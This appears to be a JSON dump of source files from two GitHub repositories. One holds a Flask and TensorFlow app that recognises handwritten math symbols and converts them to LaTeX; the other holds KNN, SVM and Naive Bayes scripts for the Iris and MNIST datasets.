}\n }\n };\n\n request.open(\"POST\", \"/adddata/get_raw_dataset\"); //具体的POST\n request.setRequestHeader('content-type', 'application/json');\n request.send();\n}\n\n/*\nfunction update() {\n var request = new XMLHttpRequest();\n\n // 处理请求返回\n console.log(\"开始获取文件信息\");\n\n request.onreadystatechange = function () {\n if (request.readyState == 4) {\n if ((request.status >= 200 && request.status < 300) || request.status == 304) {\n //console.log(request.response)\n var label_list = JSON.parse(request.response).label_list;\n\n var li_wrap = document.getElementById('select_label');\n var lis = li_wrap.childNodes;\n for(var i in lis){\n lis[i].innerHTML = label_list[i].label.toString() + '<span class = \"color_text\" >' +'(' + label_list[i].len.toString() +')' + '</span>';\n }\n\n }\n }\n };\n\n request.open(\"POST\", \"/adddata/get_raw_dataset\"); //具体的POST\n request.setRequestHeader('content-type', 'application/json');\n request.send();\n\n\n}*/\n\n//保存图片数据。图片+标签\nfunction save_img(label) {\n imgData = {URL: hwPad.toDataURL().substring(22), LABEL:label}; //获取手写板的图片信息、去掉b64头部、JSON化, 便于与后端通信\n\n //用 request 请求 与后端通信, POST\n var request = new XMLHttpRequest();\n // 处理请求返回\n request.onreadystatechange = function () {\n if (request.readyState == 4) {\n if ((request.status >= 200 && request.status < 300) || request.status == 304) {\n //console.log(request.response)\n alert(\"成功保存\" + request.response + \"张\" + label);\n hwPad.clear();\n //update();\n }\n }\n };\n\n request.open(\"POST\", \"/adddata/save\"); //具体的POST\n request.setRequestHeader('content-type', 'application/json');\n request.send(JSON.stringify(imgData));\n //console.log(JSON.stringify(imgData))\n\n}\n\n\n\n//按钮事件绑定\n//清除按钮\ndocument.getElementById('pad-clear').addEventListener(\"click\", function (event) {\n hwPad.clear();\n document.querySelector('#pad-result').innerHTML=\"\";\n katex.render(\"\", document.getElementById('Latex'), {\n throwOnError: false\n });\n});\n\n\n\n//橡皮擦按钮\ndocument.getElementById('pad-erase').addEventListener('click', function () {\n //hwPad.dotSize = 20;\n hwPad.penColor = \"rgb(255,255,255)\";\n hwPad.minWidth = 20;\n hwPad.maxWidth = 20;\n});\n\n//画笔按钮\ndocument.getElementById('pad-draw').addEventListener('click', function () {\n //hwPad.lineWidth = 10;\n hwPad.penColor = \"rgb(0,0,0)\";\n hwPad.minWidth = 3;\n hwPad.maxWidth = 3;\n});\n\n\n//保存按钮\ndocument.getElementById('pad-save').addEventListener('click', function() {\n if (hwPad.isEmpty()) {\n alert(\"请书写一个数字\");\n } else {\n save_img(label.toString());\n }\n});\n\n\n\nfunction show_li(label_list){\n console.log(label_list);\n\n var li_wrap = document.getElementById('select_label');\n\n for(var i in label_list){\n var item = document.createElement(\"li\");\n item.innerHTML = label_list[i].label.toString() + '<span class = \"color_text\" >' +'(' + label_list[i].len.toString() +')' + '</span>';\n item.setAttribute('value', i);\n item.addEventListener('click', function () {\n label = label_list[this.getAttribute('value')].label.toString();\n //alert(label.toString());\n $(this).addClass(\"selected\").siblings().removeClass(\"selected\");\n });\n li_wrap.appendChild(item);\n }\n\n}\n\nwindow.onload = function() {\n get_raw_dataset();\n};\n\n\n\n" }, { "alpha_fraction": 0.4955669641494751, "alphanum_fraction": 0.5039663910865784, "avg_line_length": 26.44871711730957, "blob_id": "67aee2f0dbf0d962bd8fddfa6f2ad219eb5a56d8", "content_id": "2278ca4abd2449f266e5c442507e3e22f6988e21", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2209, "license_type": "permissive", "max_line_length": 130, "num_lines": 78, "path": "/util.py", "repo_name": "okaokaw/HE2L", "src_encoding": "UTF-8", "text": "# 测试功能、工具函数(数据集处理等)\nimport random\nimport os\nfrom shutil import move\nimport predict\nimport CV\n\ndef get_dirlist(path) :\n dirlist = os.listdir(path)\n if '.DS_Store' in dirlist:\n dirlist.remove('.DS_Store')\n return dirlist\n\n\ndef rename(dir_name, s):\n root = r\"./DataSet1/\"\n for char in get_dirlist(root + dir_name + '/'):\n i = 1\n dir_list = get_dirlist(root + dir_name + '/' + char + '/')\n dir_list.sort()\n for img in dir_list:\n os.rename(root + dir_name + '/' + char + '/' + img, root + dir_name + '/' + char + '/' + char + s + str(i) + '.png')\n i = i + 1\n\n\n\n\n\ndef ramdom_images(type, len_image):\n root = r\"./DataSet1/\"\n for char in get_dirlist(root + \"raw/\"):\n if not os.path.exists(root + type + '/' + char): os.makedirs(root + type + '/' + char)\n random_img_list = random.sample(get_dirlist(root + \"raw/\" + char), len_image - len(get_dirlist(root + type + '/' + char)))\n i = 1\n for img in random_img_list:\n move(root + \"raw/\" + char + \"/\" + img, root + type + '/' + char + \"/\" + char + '_' + str(i) + '.png')\n i = i + 1\n\n\ndef test_acc():\n root = r\"./DataSet1/\"\n name = 'test'\n dir_list = get_dirlist(root + name + '/')\n dir_list.sort()\n for char in dir_list:\n i = 0\n img_list = get_dirlist(root + name + '/' + char + '/')\n for img in img_list:\n img_path = root + name + '/' + char + '/' + img\n r = predict.predict_label(CV.read_by_type(img_path, 'path'))\n if r == char: i += 1\n acc = i / float(len(img_list))\n print(char + ': ' + str(i))\n\n\n\n\nif __name__ == \"__main__\" :\n\n #rename('raw', '__')\n #rename('raw', '_')\n #rename('train', '___')\n #rename('train', '_')\n #rename('test', '__')\n #rename('test', '_')\n #ramdom_images('test', 10)\n #rename('test', '_')\n # ramdom_images('test', 10)\n #print(len(predict.the_model.dirlist))\n test_acc()\n #print(predict.the_model.dirlist)\n\n\n '''\n cv2.imshow(\"1\", img) # 显示图片\n cv2.waitKey(0) # 不 wait 窗口打开即关闭,看不到\n cv2.destroyAllWindows()\n '''\n\n\n" }, { "alpha_fraction": 0.5644816756248474, "alphanum_fraction": 0.5819380283355713, "avg_line_length": 30.177778244018555, "blob_id": "73d77c2dbf8deac2e74db5eca457270cde5debab", "content_id": "0d5bd19e1c0612e1731013536aa29b449aa67874", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6436, "license_type": "permissive", "max_line_length": 124, "num_lines": 180, "path": "/model.py", "repo_name": "okaokaw/HE2L", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tensorflow.keras import layers, optimizers, datasets, Sequential\nimport cv2\nimport numpy as np\nimport os\nimport util\n\n\nclass Model:\n \"\"\" Model 模型类, 封装模型相关的参数,便于训练使用时调整修改。\n Attributes:\n img_size : int, 输入图像(正方形)的边长(分辨率)\n channel : int, 输入图像的通道数\n epochs_num : int, 训练的 epoch 数\n batch_size : int, 采用MiniBatch方法,每个 batch 所含样本的大小\n classes : int, 分类类别数,对应神经网络输出层个数等\n label_text : string list, 图片的标签(类别名)\n name: string, 模型名称,对应模型训练好后 保存的子文件夹名称\n data_set: string, 数据集名称,对应存放数据集的子文件夹名称\n \"\"\"\n # 图片格式相关\n img_size = 128\n channel = 1\n\n # 分类信息相关\n label_text = None\n\n def __init__(self, name, data_set, epochs_num, batch_size):\n self.name = name\n self.data_set = data_set\n self.dirlist = os.listdir(r'./' + self.data_set + '/train')\n if '.DS_Store' in self.dirlist:\n self.dirlist.remove('.DS_Store')\n self.dirlist.sort()\n self.classes = len(self.dirlist)\n self.epochs_num = epochs_num\n self.batch_size = batch_size\n self.label_text = []\n\n\nmodel1 = Model('model1', 'DataSet1', 55, 40)\n\nuse_model = model1\n\ndef load_data():\n \"\"\" 从本地指定文件夹载入数据集,包含 训练集、验证集\n Args: None\n Returns: (x_train, y_train), (x_test, y_test)\n x_train: numpy, (nums of pics, 128, 128, 3) 训练集图片数据\n y_train: numpy, (nums of pics, 1) 训练集图片标签\n x_test: numpy, (nums of pics, 128, 128, 3) 测试集图片数据\n y_test: numpy, (nums of pics, 1) 测试集图片标签\n \"\"\"\n # 训练集\n trains = []\n y_train = []\n i = 0\n for dir in use_model.dirlist: # dir 名, 就是 符号名(char)\n #use_model.label_text.append(str(dir)) # 往标签中添加,只添加一次\n\n train_datas = os.listdir(r'./' + use_model.data_set + '/train/' + dir)\n if '.DS_Store' in train_datas:\n train_datas.remove('.DS_Store')\n\n for train_data in train_datas: # dir 文件夹中的每张图\n trains.append(cv2.imread(r'./' + use_model.data_set + '/train/' + dir + '/' + train_data, cv2.IMREAD_GRAYSCALE))\n y_train.append(int(i)) # y 标签\n\n i = i + 1\n\n x_train = np.concatenate([train[np.newaxis] for train in trains])\n y_train = np.array(y_train)\n\n #print(x_train.shape, y_train.shape)\n\n\n # 测试集\n tests = []\n y_test = []\n\n i = 0\n for dir in use_model.dirlist:\n test_datas = os.listdir(r'./' + use_model.data_set + '/test/' + dir)\n if '.DS_Store' in test_datas:\n test_datas.remove('.DS_Store')\n for test_data in test_datas:\n tests.append(cv2.imread(r'./' + use_model.data_set + '/test/' + dir + '/' + test_data, cv2.IMREAD_GRAYSCALE))\n y_test.append(int(i))\n i = i + 1\n\n x_test = np.concatenate([test[np.newaxis] for test in tests])\n y_test = np.array(y_test)\n # print(y_test)\n # print(type(y_test[2]))\n return (x_train, y_train), (x_test, y_test)\n\n\ndef preprocess(x, y):\n \"\"\" 数据集预处理\n Args: x: 某一图片数组\n y: shape(1) 某一图片标签\n Returns: x: 处理后的图片数组(归一化)\n y: shape(classes) 处理后的图片标签(向量化)\n \"\"\"\n x = tf.cast(x, dtype=tf.float32) / 255 # / 255 就是归一化. 0~255 / 255 : 0 ~ 1. .cast是类型转换.原来可能是整型。\n x = tf.reshape(x, [use_model.img_size, use_model.img_size, use_model.channel])\n y = tf.cast(y, dtype=tf.int32)\n y = tf.one_hot(y, depth=use_model.classes)\n return x, y\n\n\ndef train():\n hidden_dim = 600\n\n\n # 载入数据集、预处理\n (x_train, y_train), (x_test, y_test) = load_data()\n print('datasets:', x_train.shape, y_train.shape, x_train.min(), x_train.max())\n\n db = tf.data.Dataset.from_tensor_slices((x_train, y_train))\n db = db.map(preprocess).shuffle(x_train.shape[0]).batch(use_model.batch_size)\n\n ds_val = tf.data.Dataset.from_tensor_slices((x_test, y_test))\n ds_val = ds_val.map(preprocess).batch(use_model.batch_size)\n\n\n # CNN 构建\n conv_layers = [\n # unit 1\n # filter 个数, size\n layers.Conv2D(16, kernel_size=[2, 2], padding=\"same\", activation=tf.nn.relu),\n layers.MaxPool2D(pool_size=[2, 2], strides=2, padding='same'),\n # 在 maxpool 里面设置 stride\n # unit 2\n layers.Conv2D(32, kernel_size=[2,2], padding=\"same\", activation=tf.nn.relu),\n layers.MaxPool2D(pool_size=[2, 2], strides=2, padding='same'),\n\n # unit 3\n layers.Conv2D(64, kernel_size=[2,2], padding=\"same\", activation=tf.nn.relu),\n layers.MaxPool2D(pool_size=[2, 2], strides=2, padding='same'),\n\n\n # 展开为向量\n layers.Flatten(),\n\n # 加几层全连接的神经网络, n是该层输出的神经元数\n layers.Dense(hidden_dim, activation='relu'),\n\n\n # 输出层。 此层分几类,就设几个输出神经元数. 输出层用 softmax 激活函数\n layers.Dense(use_model.classes, activation='softmax'),\n ]\n\n net = Sequential(conv_layers) #批量 add.\n\n net.build(input_shape=(None, use_model.img_size, use_model.img_size, use_model.channel))\n net.summary()\n\n # evaluate net 的好坏 设置(准确率?)\n net.compile(optimizer=optimizers.Adam(lr=0.001), # lr : 梯度下降时 learning rate\n loss=tf.losses.CategoricalCrossentropy(from_logits=True),\n metrics=['accuracy'])\n # 训练 (feed 数据)\n net.fit(db, epochs=use_model.epochs_num, validation_data=ds_val, validation_freq=2)\n # 评测\n net.evaluate(ds_val)\n # 保存模型\n if not os.path.exists(\"./\" + use_model.name) : os.makedirs(\"./\" + use_model.name)\n net.save(r'./' + use_model.name + '/model.h5')\n # 保存参数\n net.save_weights(r'./' + use_model.name + '/weights.ckpt')\n\n # 准确率评估\n\n\nif __name__ == '__main__':\n train()\n #util.test_acc()\n print(use_model.classes)\n print(use_model.dirlist)\n\n\n" }, { "alpha_fraction": 0.5206048488616943, "alphanum_fraction": 0.533233642578125, "avg_line_length": 25.475770950317383, "blob_id": "9dc93deca5044ea6e8b68223ca4acd9bbdec79ab", "content_id": "c09e4e87d099d0837d90d8d4f837fb6f8851805e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6708, "license_type": "permissive", "max_line_length": 175, "num_lines": 227, "path": "/predict.py", "repo_name": "okaokaw/HE2L", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom numpy import reshape\n\nimport model\nimport CV\n\n\nthe_model = model.use_model\n\n# 加载模型\nmodel = tf.keras.models.load_model(the_model.name + '/model.h5')\n# 加载参数\nmodel.load_weights(the_model.name + '/weights.ckpt')\n\n\nslash = ['pi', 'times']\n\n\n\nclass Symbol:\n\n def __init__(self, label, x, y, xw, yh):\n self.label = label\n self.x = x\n self.y = y\n self.xw = xw\n self.yh = yh\n self.centroid = ( (self.xw + self.x)/2 , (self.y + self.yh) / 2 )\n\n def width(self):\n return self.xw - self.x\n\n def height(self):\n return self.yh - self.y\n\n def __str__(self):\n return str(self.label)\n\n# 各个遍历 get 函数, 符合条件后也是要记得在原 list 中 pop 出去。\n# get 其实就是 抽取(划分子集)。在原 symbol_list 中抽取出符合条件的。所以得pop. 否则就重复了。\n\ndef print_symbols(symbol_lists):\n for symbol in symbol_lists:\n print(symbol)\n\n\ndef get_inner_symbols(out, symbol_list):\n inner_list = []\n i = 0\n while i < len(symbol_list):\n symbol = symbol_list[i]\n if out.x < symbol.x and out.xw > symbol.xw and out.y < symbol.y and out.yh > symbol.yh:\n inner_list.append(symbol)\n symbol_list.pop(i)\n else: i += 1\n return inner_list\n\n\ndef get_upper_symbols(center, symbol_list):\n upper_symbols = []\n i = 0\n while i < len(symbol_list):\n symbol = symbol_list[i]\n if center.x < symbol.x and center.xw > symbol.xw and center.y >= (symbol.yh - 10):\n upper_symbols.append(symbol)\n symbol_list.pop(i)\n else: i += 1\n return upper_symbols\n\n\ndef get_under_symbols(center, symbol_list):\n under_symbols = []\n i = 0\n while i < len(symbol_list):\n symbol = symbol_list[i]\n if center.x < symbol.x and center.xw > symbol.xw and center.yh <= (symbol.y + 10):\n under_symbols.append(symbol)\n symbol_list.pop(i)\n else: i += 1\n return under_symbols\n\n\ndef is_sup(this, next):\n print(this.centroid[1] - next.centroid[1])\n return this.centroid[1] - next.centroid[1] >= this.height() * 0.25 and (next.x + 30 - this.xw) >= 0 and next.y <= this.y and this.yh - next.yh > this.height() * 0.25\n\n\ndef get_sup_symbol(pre, this, symbol_list):\n sup = []\n sup.append(this)\n while len(symbol_list) > 0:\n symbol = symbol_list[0]\n if is_sup(pre, symbol):\n sup.append(symbol)\n symbol_list.pop(0)\n else: break\n return sup\n\n\ndef toLatex(symbol_list):\n latex = []\n i = 0\n symbol = None\n while len(symbol_list) > 0:\n pre = symbol\n symbol = symbol_list.pop(i) # 记得 pop, 以免重复访问\n\n # 上标\n if (pre is not None) and (pre.label not in ['-', '+', 'times']) and is_sup(pre, symbol):\n print(pre not in ['-'])\n print('有上标 ')\n print(pre.label)\n latex.append('^' + '{' + toLatex(get_sup_symbol(pre, symbol, symbol_list)) + '}')\n\n\n # 区分几种 '-' 的情况,仅当后面还有字符时(没有就直接到最后面的常规输出)\n elif symbol.label == '-' and len(symbol_list) > 0: #\n # 等号\n if symbol_list[i].label == '-' and abs(symbol_list[i].width() - symbol.width()) < symbol.width() * 0.3 and abs(symbol_list[i].x - symbol.x) < symbol.width() * 0.3:\n symbol_list.pop(i)\n latex.append(' = ')\n\n # 除号\n elif len(symbol_list) > 1 and symbol_list[i].label == 'dot' and symbol_list[i+1].label == 'dot':\n symbol_list.pop(i)\n symbol_list.pop(i) # 注意,pop之后就少了一个了,不需要i+1\n latex.append(' \\div ')\n\n # 分号\n elif len(symbol_list) > 1:\n upper = get_upper_symbols(symbol, symbol_list)\n under = get_under_symbols(symbol, symbol_list)\n\n print('upper: ')\n print_symbols(upper)\n print('under: ')\n print_symbols(under)\n\n if len(upper) > 0 or len(under) > 0: # 要求是合法的表达式\n latex.append(r'\\frac' + '{' + toLatex(upper)+ '}' + '{' + toLatex(under) + '}')\n # 漏掉的等号\n elif (len(upper) == 1 or len(under) == 1) and (upper[0].label == '-' or under[0].label == '-'):\n latex.append(' = ')\n else:\n latex.append('-')\n # 不要忘了一般情况\n else:\n latex.append('-')\n\n # 根号\n elif symbol.label == 'sqrt':\n latex.append(r'\\sqrt' + '{' + toLatex(get_inner_symbols(symbol, symbol_list)) + '}')\n\n\n # 小数点修改\n elif symbol.label == 'dot':\n latex.append('.')\n\n\n\n # 加斜杠,记住还要再加空格\n elif symbol.label in slash:\n latex.append('\\\\' + symbol.label + \" \")\n\n # 普通变量字符\n else :\n latex.append(symbol.label)\n\n return \"\".join(latex)\n\n\n\ndef predict(images):\n \"\"\"\n 使用训练好的模型,预测图片所属的类别\n Args: images: 需预测的图片数组(numpy) len * 128 * 128 * 3\n Returns: argmax: 输入的各图片预测得到的对应类别号 数组\n \"\"\"\n\n predict = model.predict(images)\n # 找到概率最大的位置\n argmax = tf.argmax(predict, axis=1)\n return argmax.numpy()\n\n\ndef predict_label(img):\n img = reshape(img/255, (1, 128, 128, 1)) #predict可用的小图、格式处理、归一化\n return the_model.dirlist[predict(img)[0]]\n\n\ndef predict_all(img, type):\n \"\"\"\n 预测图片中框出的所有字符(还不是公式)\n img : img 的 path\n type : 指定读取的图片形式是图片文件还是base64编码\n :return: 单字符数组\n \"\"\"\n\n img = CV.read_by_type(img, type) # 分类型读取图片\n img = CV.pre_p(img) # 预处理\n res = CV.rawBox(img) # 分割\n\n result_str = []\n symbol_list = []\n\n for rec in res: # 对每一个识别出的矩形框\n # 截取、预处理\n cut = CV.get_resized_cut(img, rec, the_model.img_size)\n\n\n # 直接一个个 cut 预测、框出、标记\n r = predict_label(cut)\n\n result_str.append(r)\n symbol_list.append(Symbol(r, rec[0][0], rec[0][1], rec[1][0], rec[1][1]))\n\n\n # 测试用\n CV.draw_box_and_text(img, rec, r)\n\n CV.write_img(\"./tmp/test.png\", img)\n\n\n result_latex = toLatex(symbol_list) # 翻译 连接更新后的 字符列表 至 latex\n print(result_str)\n\n return result_latex\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5969802737236023, "alphanum_fraction": 0.6056910753250122, "avg_line_length": 23.253520965576172, "blob_id": "652daafb12128808e820716a800dd2165358878c", "content_id": "0cce09cc85c3d674551ad4f3f3e22e62c1995428", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1916, "license_type": "permissive", "max_line_length": 91, "num_lines": 71, "path": "/app.py", "repo_name": "okaokaw/HE2L", "src_encoding": "UTF-8", "text": "from flask import Flask, request, jsonify\nimport os\nfrom datetime import timedelta\n\nimport predict\nimport CV\nimport util\n\napp = Flask(__name__)\napp.debug = True\n\n\n# 设置静态文件缓存过期时间\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = timedelta(seconds=1)\n\n# 不这样可能浏览器会缓存,修改的静态文件不会及时更新\n\n\n# 首页\[email protected]('/')\ndef root():\n return app.send_static_file('index.html')\n\n\n# 识别\[email protected]('/predict', methods=['POST'])\ndef predictFromImg():\n if request.method == 'POST':\n print(\"开始识别\")\n # json 可以直接以字典 dict 形式读了\n return predict.predict_all(request.get_json()['URL'], 'b64')\n\n\n# 保存数据页\[email protected]('/adddata')\ndef adddata_index():\n return app.send_static_file('adddata.html')\n\n\n# 保存\[email protected]('/adddata/save', methods=[\"POST\"])\ndef save_img():\n if request.method == 'POST':\n print(\"开始保存\")\n img = CV.read_by_type(request.get_json()['URL'], \"b64\")\n label = str(request.get_json()['LABEL'])\n # 先保存到raw里,后续随机抽取出 test , train\n path = r\"./DataSet1/raw/\" + label\n if not os.path.exists(path): os.makedirs(path)\n\n return CV.process_save(img, path, label)\n\n\n# 获取raw Dataset 的图片信息\[email protected]('/adddata/get_raw_dataset', methods=[\"POST\"])\ndef get_raw_dataset():\n print(\"开始获取信息\")\n if request.method == 'POST':\n print(\"获取raw信息\")\n json = {\"label_list\":[]}\n label_list = json[\"label_list\"]\n root = r\"./DataSet1/\"\n char_list = util.get_dirlist(root + \"raw/\")\n char_list.sort()\n for char in char_list:\n char_json = {'label': char, 'len': len(util.get_dirlist(root + \"raw/\" + char))}\n label_list.append(char_json)\n return jsonify(json)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5050)\n" } ]
8
lqxyz/Basic_machine_learning_in_python
https://github.com/lqxyz/Basic_machine_learning_in_python
a00c736a262ede22b76a09896de3ed17a4dc518d
13b56837c11f0d37a9a0c17a2b66b76a2fdd3c81
3ba71fa16962252fe61c541290b309313c060215
refs/heads/master
2018-01-10T03:37:15.293773
2016-01-03T13:16:05
2016-01-03T13:16:05
43,210,177
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5777778029441833, "alphanum_fraction": 0.6420634984970093, "avg_line_length": 33.08108139038086, "blob_id": "2fbe4cc5626772a10f561f25ba8934a02f6be401", "content_id": "244855b5f3d3a552a20d6eab668ce571523084a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1260, "license_type": "no_license", "max_line_length": 102, "num_lines": 37, "path": "/mnist/mnist_NaiveBayes_codes/mnist_nb_multi_Gaussian.py", "repo_name": "lqxyz/Basic_machine_learning_in_python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport numpy as np\n\ntrain_image = np.fromfile('train-images.idx3-ubyte', dtype=np.uint8)\ntrain_image = (train_image[16:]).reshape([60000,784])\ntrain_label = np.fromfile('train-labels.idx1-ubyte', dtype=np.uint8)\ntrain_label = (train_label[8:])\n\ntest_image = np.fromfile('t10k-images.idx3-ubyte', dtype=np.uint8)\ntest_image = (test_image[16:]).reshape([10000,784])\ntest_label = np.fromfile('t10k-labels.idx1-ubyte', dtype=np.uint8)\ntest_label = (test_label[8:])\n\n# Calculate the A prioir probablity\np_y = np.array([train_label[train_label == i].shape[0]*1.0 / train_label.shape[0] for i in range(10)])\n\n# Calculate the sigma and mu\nsigma = {}\nmu = {}\ninvsigma ={}\nLambda = 15000\nfor i in range(10):\n dat = train_image[train_label == i, :]\n mu[i] = np.average(dat, axis=0)\n sigma[i] = np.cov(dat, rowvar=0) + Lambda*np.eye(784, dtype=np.uint8)\n invsigma[i] = np.linalg.inv(sigma[i])\n\nidx = np.zeros(10000, dtype=np.uint8)\nfor k in range(10000):\n kdat = test_image[k,:]\n gx = np.zeros(10)\n for j in range(10):\n gx[j] = -0.5*(kdat - mu[j]).dot(invsigma[j]).dot((kdat - mu[j]).T) + np.log(p_y[j])\n idx[k] = np.argmax(gx)\n\nerr = 1 - sum(idx == test_label)*1.0/10000\nprint \"Error rate is \" + str(err*100) + \"%.\"" }, { "alpha_fraction": 0.6057177186012268, "alphanum_fraction": 0.6217986941337585, "avg_line_length": 33.26530456542969, "blob_id": "75eec99235d03cad085cb9ed78ab2879b5c83033", "content_id": "a1ff1b4aa3e17416686571588ed7bf3ea7613f8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1679, "license_type": "no_license", "max_line_length": 111, "num_lines": 49, "path": "/KNN/KNN.py", "repo_name": "lqxyz/Basic_machine_learning_in_python", "src_encoding": "UTF-8", "text": "# KNN.py for data classification\n# Qun Liu\n# 2015-4-11\n\nimport numpy as np\n\ndef loadDataSet(filename):\n '''\n This function read data from the file. Because the file has fixed format,\n each line has four data and a type label, and they are separated by comma.\n '''\n wholeData = open(filename).read().split('\\n')\n labels = [ line.split(',')[4] for line in wholeData if line != '']\n dataSet = np.array([[float(x) for x in line.split(',')[0:4]] for line in wholeData if line != ''])\n return dataSet, labels\n\ndef knnClassify(newdata, k):\n # read train data\n dataSet, labels = loadDataSet('train_iris.data')\n nrows = dataSet.shape[0]\n sortedIndex= np.argsort(np.sqrt(np.sum((np.tile(newdata, (nrows, 1))-dataSet)**2, axis = 1))) # sum in row\n\n # Error check \n if k > nrows or k <= 0:\n print \"k should be no larger than \" + str(nrows) + \".\"\n assert k <= nrows and k >= 1\n\n classCount = {}\n for i in range(k):\n voteLabel = labels[sortedIndex[i]]\n classCount[voteLabel] = classCount.get(voteLabel, 0) + 1\n\n maxCount = 0\n for key, value in classCount.items():\n if value > maxCount:\n maxCount = value\n maxIndex = key\n return maxIndex\n\ndef KNN(test_file_name, k):\n testDataSet, testLabels = loadDataSet(test_file_name)\n totalRows = testDataSet.shape[0]\n errorRows = sum([ float(knnClassify(testDataSet[i], k) != testLabels[i]) for i in range(totalRows) ])\n return errorRows / float(totalRows)\n\nfilename = 'test_iris.data'\nfor k in range(60):\n k = 2*k + 1\n print \"Error rate is \" + str(KNN(filename, k)*100) + \"% in file \" + filename + \" when k is \" + str(k) + \".\"\n" }, { "alpha_fraction": 0.6123701333999634, "alphanum_fraction": 0.6680830717086792, "avg_line_length": 34.44827651977539, "blob_id": "4254ddf035070a5473881d148d550da97e322ffc", "content_id": "04482bc668d5631e2782bb88f3ec02491f223296", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2118, "license_type": "no_license", "max_line_length": 97, "num_lines": 58, "path": "/mnist/mnist_svm.py", "repo_name": "lqxyz/Basic_machine_learning_in_python", "src_encoding": "UTF-8", "text": "# mnist_svm by using scikit-learn \r\nimport numpy as np\r\nfrom sklearn import svm\r\n\r\n# train examples: 60000, size: 28*28\r\ntrain_image = np.fromfile('train-images.idx3-ubyte', dtype=np.uint8)\r\ntrain_image = (train_image[16:]).reshape([60000,28*28]) \r\n\r\ntrain_label = np.fromfile('train-labels.idx1-ubyte', dtype=np.uint8)\r\ntrain_label = (train_label[8:])\r\n\r\n# test examples: 10000, size: 28*28\r\ntest_image = np.fromfile('t10k-images.idx3-ubyte', dtype=np.uint8)\r\ntest_image = (test_image[16:]).reshape([10000,28*28])\r\n\r\ntest_label = np.fromfile('t10k-labels.idx1-ubyte', dtype=np.uint8)\r\ntest_label = (test_label[8:])\r\n\r\n# select smaller train sample: 6000, size: 28*28 \r\nstrain_image = train_image[0:6000,:]\r\nstrain_label = train_label[0:6000]\r\n# select smaller test sample: 1000= former500 + later500, size: 28*28 \r\nstest_image = test_image[4500:5500,:]\r\nstest_label = test_label[4500:5500]\r\n\r\n# -- choose differnt functions to fit model -- # -- change kernel-- change parameters----#\r\n#model = svm.LinearSVC() # choose lineaar condition\r\n#model = svm.NuSVC(kernel=\"poly\",degree=2) # choose Non-lineaar condition\r\n#model = svm.SVC(kernel=\"linear\") # create a svm with linear kernel\r\n#model = svm.SVC(kernel=\"rbf\",gamma=2) # create a svm with rbf kernel\r\nmodel = svm.SVC(kernel=\"poly\",coef0=0.0,degree=2,gamma=0.0) # create a svm with polynomial kernel\r\n#model = svm.SVC(kernel=\"sigmoid\",coef0=0.0,gamma=1) # create a svm with sogmoid kernel\r\n\r\n# show the kernel type\r\nmodel.kernel\r\n\r\n# train, fit the model \r\nmodel.fit(train_image, train_label)\r\n\r\n# test\r\nsvm_class = model.predict(test_image)\r\n\r\n# error amount\r\nerror_count = 0\r\nfor i in xrange(test_label.shape[0]):\r\n if svm_class[i] != test_label[i]:\r\n error_count += 1\r\n \r\n# error rate\r\nerrorRate = float(error_count) / float(test_label.shape[0])\r\n\r\n#### with the case -- model = svm.SVC(), model = svm.SVC(kernel=\"**\")\r\n# get support vectors\r\n#model.support_vectors_\r\n# get indices of support vectors\r\n#model.support_ \r\n# get number of support vectors for each class\r\n#model.n_support_\r\n\r\n\r\n" }, { "alpha_fraction": 0.5897436141967773, "alphanum_fraction": 0.6392773985862732, "avg_line_length": 33.34000015258789, "blob_id": "4f0737305fdad6a0b5a33a3f584d811c1d733fbb", "content_id": "00b6a44e6ed40990e648f421a9300d0888c5c401", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1716, "license_type": "no_license", "max_line_length": 138, "num_lines": 50, "path": "/mnist/mnist_NaiveBayes_codes/mnist_nb_less_features.py", "repo_name": "lqxyz/Basic_machine_learning_in_python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport numpy as np\n\ntrain_image = np.fromfile('train-images.idx3-ubyte', dtype=np.uint8)\ntrain_image = (train_image[16:]).reshape([60000,784])\n\ntrain_label = np.fromfile('train-labels.idx1-ubyte', dtype=np.uint8)\ntrain_label = (train_label[8:])\n\ntest_image = np.fromfile('t10k-images.idx3-ubyte', dtype=np.uint8)\ntest_image = (test_image[16:]).reshape([10000,784])\n\ntest_label = np.fromfile('t10k-labels.idx1-ubyte', dtype=np.uint8)\ntest_label = (test_label[8:])\n\ndef flagCalculation(train_image, train_label):\n '''\n flag is a dictionary, where the key is the label 0-9, and the values\n are the bool values indicate which column are all zeros\n '''\n flag = {}\n for i in range(10):\n flag[i] = np.array([ train_image[train_label == i, j].sum() != 0 for j in range(784) ])\n return flag\n\nflag = flagCalculation(train_image, train_label)\n\n# Calculate the A prioir probablity\np_y = np.array([train_label[train_label == i].shape[0]*1.0 / train_label.shape[0] for i in range(10)])\n\n# Calculate the sigma and mu\nsigma = {}\nmu = {}\nfor i in range(10):\n mu[i] = np.average(train_image[:, flag[i]][train_label == i, :], axis=0)\n sigma[i] = np.std(train_image[:, flag[i]][train_label == i, :], axis=0)\n\ndef calcP_xy(x_test):\n log_p_yx = {}\n for i in range(10):\n x_test_new = x_test[flag[i]]\n log_p_yx[i] = np.sum(np.log(1.0/sigma[i]/np.sqrt(2*np.pi)*np.exp(-(x_test_new-mu[i])**2/2.0/sigma[i]**2)+1e-100)) + np.log(p_y[i])\n return np.argmax(log_p_yx.values())\n\nnewLabel = np.zeros(10000)\nfor i in range(10000):\n newLabel[i] = calcP_xy(test_image[i,:])\n\nerror = sum(test_label != newLabel)*1.0/10000\nprint \"Error rate is \" + str(error*100) + \"%.\"" }, { 